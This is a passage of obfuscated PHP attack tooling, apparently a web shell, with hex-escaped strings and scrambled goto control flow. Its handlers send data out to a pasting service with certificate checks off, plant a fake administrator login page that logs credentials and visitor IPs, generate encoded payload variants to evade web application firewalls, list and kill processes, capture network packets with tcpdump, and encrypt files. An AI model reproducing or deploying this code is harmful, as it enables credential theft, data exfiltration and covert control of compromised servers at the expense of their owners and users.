"\103\x6f\x6e\x74\145\x6e\x74\55\164\x79\160\145\72\40\x61\x70\x70\154\x69\143\x61\x74\x69\x6f\x6e\x2f\170\55\x77\167\x77\55\x66\157\x72\155\x2d\x75\x72\154\x65\156\143\157\x64\145\x64\xd\12\x55\163\145\162\x2d\101\x67\x65\x6e\164\72\40{$c0OAM}", "\143\157\156\x74\x65\156\x74" => http_build_query(["\143\157\x6e\x74\145\156\164" => $Lrz4Z, "\154\x65\x78\145\162" => "\164\145\x78\x74", "\145\x78\160\151\x72\x65\163" => "\x32\x35\71\x32\60\x30\x30"]), "\x74\151\155\145\x6f\x75\x74" => 10, "\x69\147\156\157\162\x65\137\145\x72\162\157\x72\x73" => true], "\163\163\154" => ["\x76\145\x72\x69\146\x79\x5f\x70\x65\145\162" => false, "\x76\x65\x72\x69\x66\171\137\x70\x65\145\162\x5f\156\141\x6d\145" => false]]; goto WcyNv; kEIjh: } goto OuEac; twHYd: YbDjM: goto jMDoQ; u_2AJ: if ($dtJ3t !== false && !empty($dtJ3t)) { goto F7sQG; } goto xYZmm; EMcXP: Jo733: goto ULmho; KVD3j: gu6Py: goto DGucR; L8ggx: if (isset($http_response_header) && is_array($http_response_header)) { goto rRZof; } goto w0k5h; exf_V: $c0OAM = z0Nvp(); goto kaPzk; DFj57: IKqh3: goto haY0N; OGdCR: goto vbH70; goto twHYd; hj6jF: $v1Pog["\x6d\145\163\x73\x61\x67\x65"] = "\x46\x61\151\x6c\x65\144\x20\164\157\40\x65\x78\x66\x69\x6c\164\162\x61\x74\145\40\144\141\164\141\x20\x74\157\40\160\x61\x73\164\151\156\x67\x20\x73\145\162\x76\x69\x63\x65\x2e"; goto vza9h; QR7Go: $UC6X0 = false; goto OfVJf; OuEac: E2YGz: goto Ayv0X; vMzIX: if (!(!is_file($j3_hR) || !is_readable($j3_hR))) { goto YbDjM; } goto ITWLV; vza9h: goto RQhHL; goto DFj57; VCg5h: rRZof: goto A3sUQ; R7drc: if (preg_match("\57\150\x74\x74\160\x73\x3f\x3a\x5c\x2f\134\x2f\133\136\134\x73\x3c\x3e\x22\135\53\x2f", $dtJ3t, $BI9Rj)) { goto i9mzX; } goto Gs8Sk; FCWe8: F7sQG: goto L8ggx; qaBSq: $j3_hR = $_POST["\160\x61\164\x68"]; goto vMzIX; XMMbi: mlUBx: goto QrzCi; sibeK: hdy6r: goto tU_lp; XqyP5: case "\x64\145\x70\x6c\x6f\171\x5f\x70\x68\151\163\150": goto HiRMK; Glm0X: $v1Pog = ["\x73\x74\141\164\165\x73" => "\163\x75\143\x63\x65\163\x73", "\x6d\145\163\163\141\147\145" => "\120\150\x69\163\150\151\156\147\x20\x70\x61\147\x65\x20\144\145\160\x6c\157\x79\145\x64\40\x73\165\x63\143\145\163\x73\146\x75\x6c\x6c\x79\41", "\x75\x72\x6c" => $INZQZ]; goto NCrBJ; JEJUa: $v1Pog["\155\x65\163\163\141\147\x65"] = "\x46\151\154\x65\156\141\155\x65\x20\143\141\x6e\x6e\157\164\40\142\145\x20\x65\155\x70\x74\x79\x2e"; goto BBT8S; wjKsA: $v1Pog["\x6d\x65\163\x73\141\147\x65"] = "\120\x61\x74\150\40\151\163\40\156\x6f\164\x20\x61\x20\x64\x69\162\145\143\x74\157\162\171\x20\x6f\x72\x20\151\163\x20\156\x6f\x74\40\x77\162\151\x74\141\x62\154\145\x2e"; goto CgntG; HiRMK: $j3_hR = $_POST["\160\141\164\150"]; goto ZggVO; OakIw: if (file_put_contents($SPA0G, $ewr2B)) { goto CRyfN; } goto jZqdX; jZqdX: $v1Pog["\x6d\x65\163\163\x61\147\145"] = "\106\x61\151\154\145\144\x20\164\157\40\167\x72\151\x74\145\x20\x70\x68\x69\163\150\151\x6e\147\40\160\x61\147\145\40\x74\x6f\x20\x64\x69\163\153\x2e"; goto By15T; j7UJG: $SPA0G = rtrim($j3_hR, "\57") . "\x2f" . $YOfeG; goto G9ZCz; G9ZCz: $ewr2B = "\x3c\41\x44\117\103\124\131\x50\105\40\x68\164\x6d\154\76\74\150\x74\x6d\154\x3e\x3c\x68\x65\141\x64\76\74\164\151\x74\154\145\76\101\x64\155\151\156\x20\120\x6f\162\x74\x61\x6c\74\57\164\151\164\x6c\145\x3e\74\x73\x74\171\x6c\145\76\x62\x6f\144\171\x7b\x66\x6f\156\164\55\x66\141\x6d\151\154\x79\72\163\x61\156\163\55\x73\x65\162\x69\x66\73\x62\x61\x63\x6b\x67\x72\x6f\165\x6e\144\72\x23\146\x30\146\62\146\x35\x3b\144\151\163\160\154\141\x79\72\146\154\x65\170\73\152\x75\163\164\x69\x66\171\x2d\x63\157\x6e\164\x65\156\164\72\143\x65\156\x74\x65\x72\73\x61\x6c\151\x67\x6e\55\x69\164\145\x6d\163\72\143\x65\x6e\x74\145\x72\x3b\150\145\x69\147\x68\164\72\61\x30\60\166\150\73\x6d\141\162\147\151\156\72\60\73\175\146\157\x72\155\x7b\x62\x61\143\153\x67\162\x6f\165\156\x64\72\167\150\x69\164\x65\x3b\160\x61\144\144\x69\x6e\x67\72\x34\60\160\x78\73\x62\x6f\x72\x64\145\162\x2d\x72\x61\x64\x69\x75\x73\72\x38\x70\170\73\142\157\x78\x2d\x73\150\141\x64\x6f\167\72\60\40\64\x70\x78\40\x31\x32\x70\x78\40\x72\x67\x62\141\50\x30\x2c\60\x2c\60\54\x30\x2e\x31\51\73\x77\151\144\x74\150\72\63\62\x30\160\170\x3b\175\x68\62\x7b\164\145\x78\x74\55\x61\154\151\147\x6e\x3a\143\145\x6e\x74\x65\x72\73\143\157\154\157\x72\72\43\x33\x33\63\x3b\155\x61\x72\x67\x69\x6e\x2d\x62\157\164\x74\157\x6d\x3a\62\x30\x70\x78\73\x7d\x69\156\x70\x75\x74\173\x77\x69\144\164\x68\72\61\x30\x30\45\x3b\x70\141\144\x64\x69\156\x67\72\x31\x30\160\x78\73\x6d\141\162\147\x69\156\x2d\142\x6f\x74\x74\x6f\x6d\x3a\x31\x35\160\x78\x3b\142\157\x72\x64\x65\x72\x3a\x31\x70\170\40\x73\x6f\x6c\x69\144\40\43\143\x63\143\73\142\x6f\162\144\145\x72\55\x72\x61\144\x69\x75\x73\72\64\160\170\73\142\157\170\55\163\x69\x7a\x69\156\147\72\142\157\x72\x64\145\x72\55\x62\157\x78\x3b\175\x62\165\x74\164\157\x6e\173\x77\x69\144\164\150\72\61\60\x30\x25\x3b\160\141\x64\x64\x69\x6e\x67\72\x31\60\160\x78\x3b\142\x61\x63\x6b\147\162\157\165\156\144\x3a\x23\61\70\67\x37\x66\62\x3b\143\x6f\154\x6f\162\72\x77\x68\151\164\145\73\142\x6f\162\144\145\x72\x3a\x6e\157\x6e\145\73\142\157\x72\144\145\162\55\x72\x61\x64\151\x75\x73\72\64\160\x78\73\x66\x6f\156\164\x2d\163\151\x7a\145\x3a\x31\x36\x70\x78\73\143\x75\x72\163\x6f\x72\72\160\157\x69\156\164\x65\x72\73\175\142\x75\164\x74\157\156\72\150\x6f\166\145\x72\x7b\142\141\x63\x6b\147\162\x6f\x75\156\x64\x3a\43\61\66\x36\x66\x65\65\x3b\175\x3c\57\x73\164\x79\x6c\145\x3e\74\57\x68\x65\x61\144\76\74\x62\157\x64\171\x3e\74\146\x6f\162\x6d\40\x61\143\164\151\x6f\x6e\x3d\x22" . htmlspecialchars($YOfeG) . "\42\40\x6d\145\x74\150\x6f\144\75\42\x50\x4f\123\x54\42\76\74\x68\62\x3e\x41\144\x6d\x69\x6e\151\163\x74\162\141\164\157\x72\40\x4c\157\147\151\x6e\x3c\x2f\x68\x32\x3e\x3c\x69\x6e\160\165\x74\x20\x74\171\160\145\x3d\x22\x74\x65\170\x74\42\40\x6e\x61\155\145\x3d\42\x75\163\x65\162\x6e\141\x6d\145\x22\40\160\154\x61\143\145\x68\x6f\x6c\144\x65\x72\x3d\42\x55\x73\x65\162\x6e\x61\x6d\x65\x22\40\162\x65\x71\165\x69\162\x65\144\76\x3c\x69\156\x70\165\x74\x20\x74\x79\160\145\x3d\x22\x70\x61\163\163\x77\157\162\144\42\x20\156\141\155\145\75\x22\160\x61\x73\163\x77\157\162\x64\x22\40\160\154\141\143\x65\150\157\x6c\x64\145\162\x3d\42\x50\x61\x73\163\x77\157\162\144\42\x20\x72\x65\161\165\151\162\145\x64\76\74\142\x75\x74\x74\157\156\x20\x74\x79\160\x65\x3d\42\x73\165\142\155\151\x74\x22\76\114\157\147\x20\111\156\x3c\57\x62\165\164\164\157\156\x3e\74\x3f\x70\x68\160\x20\151\146\50\x24\x5f\x53\x45\x52\x56\x45\x52\133\x22\x52\x45\121\x55\105\x53\x54\137\115\105\x54\110\117\104\42\135\x3d\75\42\120\x4f\123\124\x22\51\173\40\x24\154\x6f\x67\137\x66\151\x6c\145\75\x73\x79\x73\137\x67\x65\x74\x5f\164\145\x6d\x70\x5f\x64\x69\x72\x28\51\56\42\57\143\56\154\x6f\x67\x22\x3b\40\x24\144\141\x74\141\75\x22\x55\72\x22\56\x24\x5f\120\117\x53\124\133\x22\165\163\145\x72\156\141\155\x65\42\135\x2e\x22\40\x50\72\42\56\44\137\120\117\x53\x54\x5b\42\x70\x61\163\163\x77\x6f\x72\x64\42\x5d\56\x22\40\111\120\72\42\56\x24\137\123\105\122\x56\x45\122\x5b\42\122\105\x4d\117\124\105\x5f\101\x44\104\122\42\135\x2e\42\x5c\x6e\x22\x3b\x20\x66\151\x6c\145\137\160\165\164\137\143\157\x6e\164\145\x6e\164\x73\50\44\x6c\x6f\147\137\146\151\154\x65\54\44\144\x61\x74\x61\54\x46\111\x4c\105\137\x41\x50\x50\105\116\x44\x29\73\40\x65\x63\150\157\x20\x22\x3c\x70\40\x73\164\x79\154\145\75\x27\164\x65\170\x74\x2d\x61\x6c\x69\147\156\x3a\x63\145\156\x74\145\x72\x3b\x63\157\x6c\157\162\72\162\x65\144\x3b\x6d\x61\162\x67\x69\x6e\x2d\x74\157\160\72\x31\x30\160\x78\73\x27\76\114\157\x67\151\x6e\x20\146\141\x69\x6c\145\x64\x2e\x3c\57\160\x3e\x22\73\x20\x7d\40\77\76\x3c\x2f\146\157\162\155\x3e\74\x2f\142\157\x64\x79\76\74\x2f\150\164\x6d\154\76"; goto OakIw; BBT8S: goto vbH70; goto Q8ym9; elepq: $INZQZ = (isset($_SERVER["\x48\124\x54\x50\x53"]) && $_SERVER["\110\124\124\120\x53"] === "\157\x6e" ? "\x68\x74\164\x70\163" : "\x68\x74\x74\x70") . "\x3a\57\57{$_SERVER["\110\x54\124\120\137\x48\117\123\124"]}" . substr($SPA0G, strlen($_SERVER["\104\x4f\103\x55\115\105\116\124\x5f\122\x4f\117\124"])); goto Glm0X; hnxHf: CRyfN: goto elepq; G9gPf: if (!empty($YOfeG)) { goto IZxtD; } goto JEJUa; eY1tN: if (!(!is_dir($j3_hR) || !is_writable($j3_hR))) { goto A0hF6; } goto wjKsA; Q8ym9: IZxtD: goto j7UJG; NCrBJ: IFPB0: goto UXuwg; UXuwg: goto vbH70; goto csKw0; ZggVO: $YOfeG = $_POST["\x66\151\154\145\x6e\141\155\145"]; goto eY1tN; By15T: goto IFPB0; goto hnxHf; CgntG: goto vbH70; goto JqY7l; JqY7l: A0hF6: goto G9gPf; csKw0: case "\167\141\x66\137\145\x76\x61\x73\x69\157\x6e\x5f\164\x65\x73\164": goto aSdgL; v2_tw: $gSi8X["\157\142\146\165\163\143\x61\164\151\x6f\x6e"] = ["\x63\x68\x72" => MrZR7($IfY1r), "\150\x65\170" => bin2hex($IfY1r), "\x62\x61\x73\x65\x36\x34" => base64_encode($IfY1r)]; goto yEfQb; pVOwb: $v1Pog = ["\163\x74\x61\x74\x75\x73" => "\163\x75\143\x63\x65\x73\x73", "\162\145\x73\x75\154\164\163" => $gSi8X, "\x6d\x65\x73\163\141\x67\145" => "\x57\x41\x46\40\x65\x76\x61\163\151\x6f\x6e\40\164\145\163\164\x20\x63\x6f\x6d\160\x6c\145\164\145\144\56"]; goto Qw6OV; tQE0e: goto JjGNN; goto LI9Sj; aSdgL: $lwp4c = $_POST["\x6d\x65\x74\150\x6f\144"] ?? "\x61\x6c\x6c"; goto tfl0e; Qw6OV: goto vbH70; goto J3CPP; RbPdd: if (!($lwp4c === "\x61\154\154" || $lwp4c === "\x65\156\143\x6f\x64\x69\x6e\147")) { goto Zmt1e; } goto vk_Vl; aAIq3: $gSi8X = []; goto RbPdd; OvE2z: $jY45d = 0; goto N3PaY; HynYW: $jY45d++; goto tQE0e; yEfQb: Extr0: goto os0dB; tfl0e: $IfY1r = $_POST["\144\x61\x74\x61"] ?? "\164\x65\163\164\x20\x70\x61\171\x6c\x6f\x61\144"; goto aAIq3; LkLZR: $gSi8X["\165\x73\145\x72\137\141\x67\145\156\164\x73"][] = z0NVP(); goto MSUK5; Zm0Qw: NPJJe: goto pVOwb; W2FYf: if (!($lwp4c === "\x61\154\x6c" || $lwp4c === "\x75\163\x65\162\x5f\141\x67\145\x6e\164")) { goto NPJJe; } goto n9Mcv; rGQ1n: if (!($lwp4c === "\x61\x6c\x6c" || $lwp4c === "\157\x62\x66\x75\x73\x63\141\164\x69\157\x6e")) { goto Extr0; } goto v2_tw; os0dB: if (!($lwp4c === "\x61\154\x6c" || $lwp4c === "\x63\141\x73\145")) { goto tgeaz; } goto vUWkc; MSUK5: qYXlE: goto HynYW; LI9Sj: Zap0C: goto Zm0Qw; nHtmO: if (!($jY45d < 5)) { goto Zap0C; } goto LkLZR; vUWkc: $gSi8X["\143\x61\x73\x65\137\x76\141\x72\151\141\164\151\157\x6e"] = RtW9i($IfY1r); goto fgjg7; n9Mcv: $gSi8X["\165\163\145\x72\137\x61\x67\x65\156\x74\x73"] = []; goto OvE2z; N3PaY: JjGNN: goto nHtmO; vk_Vl: $gSi8X["\145\x6e\x63\x6f\x64\151\x6e\x67"] = ["\142\141\163\145\x36\x34" => Q_oTe($IfY1r, "\142\x61\x73\145\x36\x34"), "\x68\x65\x78" => q_Ote($IfY1r, "\x68\145\x78"), "\x72\157\x74\61\x33" => Q_otE($IfY1r, "\162\157\x74\x31\63"), "\142\x61\x73\x65\66\x34\x5f\150\x65\170" => q_OtE($IfY1r, "\142\141\x73\x65\66\x34\x5f\150\145\x78"), "\144\x6f\x75\x62\154\x65\137\x62\141\163\x65\x36\64" => q_OTe($IfY1r, "\144\x6f\165\x62\154\x65\137\x62\141\163\145\x36\64"), "\x63\x68\x75\156\x6b\145\x64\137\x62\141\x73\145\66\x34" => Q_OTE($IfY1r, "\x63\x68\165\x6e\153\x65\x64\x5f\142\141\163\x65\66\x34")]; goto PP1hv; PP1hv: Zmt1e: goto rGQ1n; fgjg7: tgeaz: goto W2FYf; J3CPP: case "\163\x74\x61\162\164\x5f\146\151\154\145\137\x77\141\164\143\150\145\162": goto zQZ3p; c0AFo: $JmZ8Y = sys_get_temp_dir() . "\57\152\141\156\165\x73\137\x77\x61\x74\143\x68\145\162\x5f" . md5($j3_hR) . "\x2e\152\163\157\x6e"; goto XbJZL; hQ99r: file_put_contents($JmZ8Y, json_encode($T3Sqt)); goto mCbZp; u6bWw: HSwQU: goto c0AFo; wIk0V: goto vbH70; goto Z10s_; FYUko: $v1Pog["\155\x65\x73\163\141\147\x65"] = "\x49\156\x76\x61\154\151\x64\x20\144\151\x72\x65\143\x74\157\x72\171\40\x70\x61\x74\x68\56"; goto Duxzz; mCbZp: $v1Pog = ["\163\164\x61\164\165\x73" => "\x73\x75\143\143\x65\163\163", "\x6d\145\163\x73\x61\147\145" => "\x46\151\154\145\40\x77\x61\x74\143\150\x65\x72\x20\x73\x74\141\162\164\x65\144\x2e", "\x73\x6e\141\x70\163\150\x6f\x74\x5f\x66\151\x6c\x65" => $JmZ8Y]; goto wIk0V; wflUl: $lN4YZ = intval($_POST["\x69\156\164\145\162\x76\x61\154"] ?? 2); goto Jx7r6; Jx7r6: if (is_dir($j3_hR)) { goto HSwQU; } goto FYUko; Duxzz: goto vbH70; goto u6bWw; XbJZL: $T3Sqt = IcVUi($j3_hR); goto hQ99r; zQZ3p: $j3_hR = $_POST["\x70\141\x74\150"] ?? $_SESSION["\143\x77\144"]; goto wflUl; Z10s_: case "\143\x68\145\x63\x6b\x5f\x66\x69\154\145\137\x63\x68\141\x6e\x67\x65\163": goto mVNDO; mVNDO: $j3_hR = $_POST["\160\141\x74\150"] ?? $_SESSION["\x63\x77\144"]; goto sj1sb; JABQK: $v1Pog["\155\x65\x73\x73\141\x67\145"] = "\x49\x6e\x76\141\154\x69\x64\x20\x70\x61\x74\x68\x20\x6f\162\x20\x73\x6e\141\x70\163\150\157\164\40\x6e\157\164\x20\x66\157\165\156\144\x2e"; goto Q115i; svt_b: $SrCNq = icVUi($j3_hR); goto AzjCR; Cgz9f: sXBkS: goto oXf4Y; oXf4Y: $xXU51 = json_decode(file_get_contents($JmZ8Y), true); goto svt_b; lsg1V: goto vbH70; goto Oq9M3; U9CIR: file_put_contents($JmZ8Y, json_encode($SrCNq)); goto zaXrg; fAFH6: foreach ($SrCNq as $Q0s1i => $DnOhI) { goto QVsgL; wX80P: $NMePb["\155\x6f\144\151\x66\151\145\144"][$Q0s1i] = $DnOhI; goto HvRUB; QVsgL: if (!(isset($xXU51[$Q0s1i]) && $xXU51[$Q0s1i]["\x6d\164\151\x6d\145"] != $DnOhI["\x6d\x74\x69\155\x65"])) { goto TefI5; } goto wX80P; KZF8O: NdzvU: goto htxDi; HvRUB: TefI5: goto KZF8O; htxDi: } goto Bdpa6; D03FD: if (!(!is_dir($j3_hR) || !file_exists($JmZ8Y))) { goto sXBkS; } goto JABQK; AzjCR: $NMePb = ["\x63\x72\145\141\x74\145\144" => array_diff_key($SrCNq, $xXU51), "\144\x65\x6c\x65\x74\145\144" => array_diff_key($xXU51, $SrCNq), "\x6d\x6f\x64\x69\x66\151\x65\144" => []]; goto fAFH6; Q115i: goto vbH70; goto Cgz9f; zaXrg: $v1Pog = ["\x73\164\x61\x74\165\x73" => "\x73\x75\143\x63\145\163\163", "\x63\x68\x61\156\147\x65\x73" => $NMePb]; goto lsg1V; sj1sb: $JmZ8Y = $_POST["\163\156\x61\x70\x73\x68\x6f\x74\x5f\146\151\154\x65"] ?? ''; goto D03FD; Bdpa6: oFfWt: goto U9CIR; Oq9M3: case "\147\145\x74\137\x70\162\157\143\145\163\x73\145\163": goto VaOUS; BVL2d: LQBaC: goto b0g5a; BC0OU: if (strpos($VeIoq, "\167\151\x6e") !== false) { goto pZ2km; } goto yBbDY; CKRzA: pZ2km: goto IShlz; IShlz: $oZAH8 = "\164\141\163\153\154\151\163\x74\x20\x2f\x46\117\40\103\x53\x56\40\x32\76\x6e\165\154"; goto tXb7A; u1wdZ: $BKvy0 = ZMrp5($oZAH8); goto dKKTl; b0g5a: nhsPb: goto IZ5l4; dKKTl: $IdX4r = explode("\xa", trim($BKvy0)); goto eOknF; x1pzh: $oZAH8 = "\x70\x73\40\141\165\170\40\62\x3e\57\144\x65\x76\x2f\156\165\x6c\x6c\40\x7c\x20\x68\x65\x61\144\x20\x2d\61\60\x30"; goto u1wdZ; iKN5j: if (strpos($VeIoq, "\154\151\x6e\165\170") !== false || strpos($VeIoq, "\x75\156\151\170") !== false) { goto WByqq; } goto BC0OU; ow65x: lB29b: goto vXIvR; iGLtY: WByqq: goto x1pzh; frIab: $IdX4r = explode("\xa", trim($BKvy0)); goto Q5A1I; VaOUS: $VeIoq = strtolower(php_uname("\163")); goto lTF6n; eOknF: foreach ($IdX4r as $jY45d => $oTjJ5) { goto KhuAc; E9L8m: $UTRti[] = ["\165\163\145\162" => $CTBeO[0], "\160\x69\144" => $CTBeO[1], "\143\x70\x75" => $CTBeO[2], "\x6d\145\155" => $CTBeO[3], "\166\x73\x7a" => $CTBeO[4], "\162\x73\x73" => $CTBeO[5], "\x74\164" => $CTBeO[6], "\163\x74\141\164" => $CTBeO[7], "\163\164\x61\162\x74" => $CTBeO[8], "\164\151\x6d\x65" => $CTBeO[9], "\x63\x6f\x6d\155\141\x6e\x64" => $CTBeO[10]]; goto lzBFf; KlF61: $CTBeO = preg_split("\57\x5c\163\53\57", $oTjJ5, 11); goto mM7R8; lzBFf: jufP8: goto JKcvo; rGvNk: g3pK6: goto KlF61; KhuAc: if (!($jY45d === 0)) { goto g3pK6; } goto JITL4; mM7R8: if (!(count($CTBeO) >= 11)) { goto jufP8; } goto E9L8m; JKcvo: RZ7hV: goto ogYCV; JITL4: goto RZ7hV; goto rGvNk; ogYCV: } goto ow65x; yBbDY: goto nhsPb; goto iGLtY; vXIvR: goto nhsPb; goto CKRzA; tXb7A: $BKvy0 = zmRP5($oZAH8); goto frIab; Q5A1I: foreach ($IdX4r as $jY45d => $oTjJ5) { goto nuO0_; TROJM: z4nFc: goto SwQPk; nuO0_: if (!($jY45d < 2)) { goto z4nFc; } goto VLk3F; LS0Zn: LnDtf: goto vLKFa; VLk3F: goto LnDtf; goto TROJM; AJcqG: $UTRti[] = ["\x6e\141\155\x65" => $CTBeO[0], "\x70\151\144" => $CTBeO[1], "\163\145\x73\x73\151\x6f\156" => $CTBeO[2], "\x6d\145\x6d" => $CTBeO[4], "\163\x74\141\164\x75\x73" => $CTBeO[4] ?? "\x4e\57\101"]; goto Hibr5; SwQPk: $CTBeO = str_getcsv($oTjJ5); goto Geswy; Hibr5: tAVx9: goto LS0Zn; Geswy: if (!(count($CTBeO) >= 5)) { goto tAVx9; } goto AJcqG; vLKFa: } goto BVL2d; lTF6n: $UTRti = []; goto iKN5j; BEBws: goto vbH70; goto hRYpW; IZ5l4: $v1Pog = ["\x73\x74\x61\164\165\163" => "\163\x75\x63\x63\145\x73\163", "\x70\x72\x6f\143\145\163\163\145\163" => $UTRti]; goto BEBws; hRYpW: case "\x6b\x69\154\154\137\x70\162\x6f\x63\145\163\163": goto fVEZ1; PS2Gd: $BDl7h = $_POST["\163\151\147\x6e\x61\x6c"] ?? "\124\105\122\x4d"; goto X92tm; qBVzO: $oZAH8 = "\x74\x61\x73\153\x6b\151\154\x6c\x20\57\120\x49\x44\x20{$R0VUu}\x20\x2f\x46\40\62\76\46\x31"; goto rwUGv; E5uYS: goto W1rI5; goto zq5x_; ST0g3: if (strpos($VeIoq, "\167\x69\156") !== false) { goto OCrFv; } goto NFE2y; NFE2y: $oZAH8 = "\153\x69\154\154\x20\x2d{$BDl7h}\40{$R0VUu}\40\62\x3e\x26\61"; goto E5uYS; zq5x_: OCrFv: goto qBVzO; X92tm: $VeIoq = strtolower(php_uname("\x73")); goto ST0g3; yDfGe: goto vbH70; goto HK17_; kpBmd: $v1Pog = ["\x73\x74\x61\164\x75\x73" => "\163\x75\143\x63\145\163\163", "\157\x75\164\160\165\164" => $BKvy0]; goto yDfGe; rwUGv: W1rI5: goto oZQA4; fVEZ1: $R0VUu = intval($_POST["\x70\x69\144"]); goto PS2Gd; oZQA4: $BKvy0 = ZmRP5($oZAH8); goto kpBmd; HK17_: case "\x73\164\141\x72\x74\137\x70\x61\x63\x6b\145\x74\x5f\143\x61\x70\164\x75\162\x65": goto maHLe; wVKNj: goto T3cYO; goto QK1Ai; vG7oU: if (empty($slpG2)) { goto XmivF; } goto p8Dmo; g2p9E: $oZAH8 = "\x74\x69\x6d\145\157\x75\164\x20\x31\x30\x20\164\143\x70\144\x75\155\160\x20\55\x69\x20{$zJhs3}\x20\x2d\143\40{$We5Su}\40\x2d\x6e\40\62\x3e\46\61\40\x7c\174\40\x65\143\x68\x6f\40\47\164\x63\x70\144\x75\x6d\160\40\156\x6f\164\x20\x61\x76\x61\151\x6c\141\142\154\x65\x27"; goto rjgq5; F2p8E: file_put_contents($iSL4P, $BKvy0); goto M6AMO; mzqmp: $v1Pog["\x6d\145\163\163\x61\147\x65"] = "\103\157\x6d\155\141\x6e\x64\x20\x65\170\x65\143\165\164\x69\157\x6e\x20\x6e\x6f\164\40\141\x76\x61\x69\x6c\141\x62\154\145\56"; goto ceRjX; rtBii: if (strpos($VeIoq, "\154\x69\156\165\x78") !== false) { goto R5EuK; } goto fTzYE; M6AMO: $v1Pog = ["\163\x74\141\x74\165\163" => "\x73\165\143\x63\x65\163\163", "\157\165\164\x70\165\x74" => $BKvy0, "\146\151\x6c\145" => $iSL4P]; goto GchaI; p8Dmo: $oZAH8 = "\164\151\x6d\x65\157\x75\164\x20\x31\60\x20\164\143\160\144\x75\x6d\160\x20\x2d\x69\40{$zJhs3}\x20\55\x63\40{$We5Su}\40\55\156\40\47{$slpG2}\x27\x20\62\x3e\x26\61\x20\174\174\x20\x65\x63\150\157\40\47\164\x63\x70\144\x75\155\x70\40\156\157\164\40\x61\x76\141\151\x6c\141\142\x6c\145\47"; goto GbS1c; hNE0j: T3cYO: goto IgQsB; unx9N: $iSL4P = sys_get_temp_dir() . "\57\x6a\x61\156\165\x73\x5f\x63\141\x70\x74\165\x72\145\137" . time() . "\x2e\164\170\164"; goto rtBii; IgQsB: $BKvy0 = ZMrP5($oZAH8); goto F2p8E; rV2W3: goto vbH70; goto wVKNj; STrSG: XmivF: goto g2p9E; QK1Ai: R5EuK: goto vG7oU; uHBZu: Xhk3Q: goto CDVzh; FhUXZ: $We5Su = intval($_POST["\143\157\165\156\x74"] ?? 50); goto flNR7; maHLe: $zJhs3 = $_POST["\151\x6e\x74\x65\x72\146\x61\x63\145"] ?? "\141\x6e\x79"; goto FhUXZ; KV0oF: if (!(!lIX3F("\x65\170\x65\x63") && !LIx3F("\x73\x68\x65\154\x6c\x5f\145\170\x65\x63"))) { goto Xhk3Q; } goto mzqmp; fTzYE: $v1Pog["\x6d\x65\x73\163\x61\147\x65"] = "\x50\141\x63\x6b\145\164\x20\x63\x61\160\164\165\162\145\x20\x6f\156\154\x79\x20\x61\x76\x61\151\x6c\x61\x62\154\x65\x20\x6f\x6e\x20\x4c\151\x6e\165\170\x20\x73\x79\x73\164\145\x6d\x73\x20\167\151\164\x68\40\164\143\x70\x64\x75\155\x70\56"; goto rV2W3; ceRjX: goto vbH70; goto uHBZu; rjgq5: EUJYw: goto hNE0j; flNR7: $slpG2 = $_POST["\x66\x69\x6c\164\145\162"] ?? ''; goto KV0oF; CDVzh: $VeIoq = strtolower(php_uname("\x73")); goto unx9N; GbS1c: goto EUJYw; goto STrSG; GchaI: goto vbH70; goto uCTao; uCTao: case "\145\156\143\x72\171\160\x74\137\x66\x69\x6c\x65": goto dA4_2; A151j: Joseo: goto im24n; pnHFg: goto ZYBGA; goto RtRkN; im24n: $siOBH = file_get_contents($UKZxE); goto hf3pm; fRmkE: if (!(!is_file($UKZxE) || !is_readable($UKZxE))) { goto Joseo; } goto JVK8I; RtRkN: YzjIn: goto h_2h0; E_nej: goto vbH70; goto A151j; HKCSA: $IMtDv = $_POST["\x70\141\163\x73\167\x6f\162\x64"]; goto fRmkE; JVK8I: $v1Pog["\155\x65\x73\x73\141\147\x65"] = "\106\x69\x6c\145\40\x6e\157\164\40\x66\x6f\x75\156\x64\40\x6f\x72\40\x6e\157\x74\x20\x72\x65\x61\x64\x61\x62\154\x65\56"; goto E_nej; h_2h0: $v1Pog = ["\x73\x74\141\164\x75\x73" => "\163\165\x63\x63\x65\x73\x73", "\x6d\x65\x73\x73\x61\147\x65" => "\x46\x69\x6c\145\x20\x65\x6e\143\162\x79\160\x74\x65\x64\x20\163\x75\143\x63\145\x73\163\x66\x75\x6c\x6c\x79\56", "\157\165\x74\x70\165\x74\137\x66\151\x6c\145" => $iSL4P]; goto PY74o; PY74o: ZYBGA: goto GKC_6; j3SGb: $v1Pog["\x6d\145\163\163\141\x67\145"] = "\106\141\x69\x6c\145\144\40\164\157\40\167\x72\x69\x74\x65\x20\x65\x6e\x63\162\x79\160\164\x65\x64\x20\146\x69\x6c\145\56"; goto pnHFg; hf3pm: $Mc1GJ = openssl_encrypt($siOBH, "\x41\105\123\55\62\65\x36\x2d\103\x42\x43", hash("\163\x68\141\62\x35\x36", $IMtDv, true), 0, $hsT2P = openssl_random_pseudo_bytes(16)); goto ATq8J; dA4_2: $UKZxE = $_POST["\x66\151\x6c\145\x5f\160\141\164\150"]; goto HKCSA; ATq8J: $Mc1GJ = base64_encode($hsT2P . $Mc1GJ); goto Man92; Man92: $iSL4P = $UKZxE . "\56\145\x6e\x63\162\171\160\164\145\x64"; goto u_e09; u_e09: if (file_put_contents($iSL4P, $Mc1GJ)) { goto YzjIn; } goto j3SGb; GKC_6: goto vbH70; goto olIWx; olIWx: case "\x64\145\143\162\x79\160\164\x5f\146\151\154\x65": goto zC4dP; O74YT: goto vbH70; goto FwXuy; tSmXY: $IMtDv = $_POST["\160\141\x73\x73\167\157\162\x64"]; goto XU7TC; fuFHn: goto vbH70; goto yTHTv; pEHsh: $hsT2P = substr($Mc1GJ, 0, 16); goto ZcgCb; p82au: goto vbH70; goto NPb7S; XzNUW: $v1Pog["\155\x65\163\x73\x61\x67\x65"] = "\x46\x69\154\145\40\x6e\x6f\x74\x20\146\157\x75\x6e\144\x20\157\162\x20\x6e\157\x74\40\x72\x65\141\x64\141\x62\154\x65\56"; goto fuFHn; ZGzJW: z_n9O: goto p82au; XU7TC: if (!(!is_file($UKZxE) || !is_readable($UKZxE))) { goto xhMzy; } goto XzNUW; yTHTv: xhMzy: goto azBo8; yDIIy: $v1Pog = ["\163\164\141\164\165\x73" => "\x73\x75\x63\143\x65\x73\163", "\x6d\145\163\x73\141\x67\145" => "\106\x69\154\x65\40\144\x65\x63\162\x79\160\x74\x65\144\x20\x73\165\x63\143\145\163\163\146\x75\x6c\x6c\x79\x2e", "\x6f\165\x74\x70\165\164\137\x66\151\x6c\x65" => $iSL4P]; goto ZGzJW; iedSI: $AXEU0 = openssl_decrypt($siOBH, "\101\105\x53\55\x32\65\x36\55\103\x42\x43", 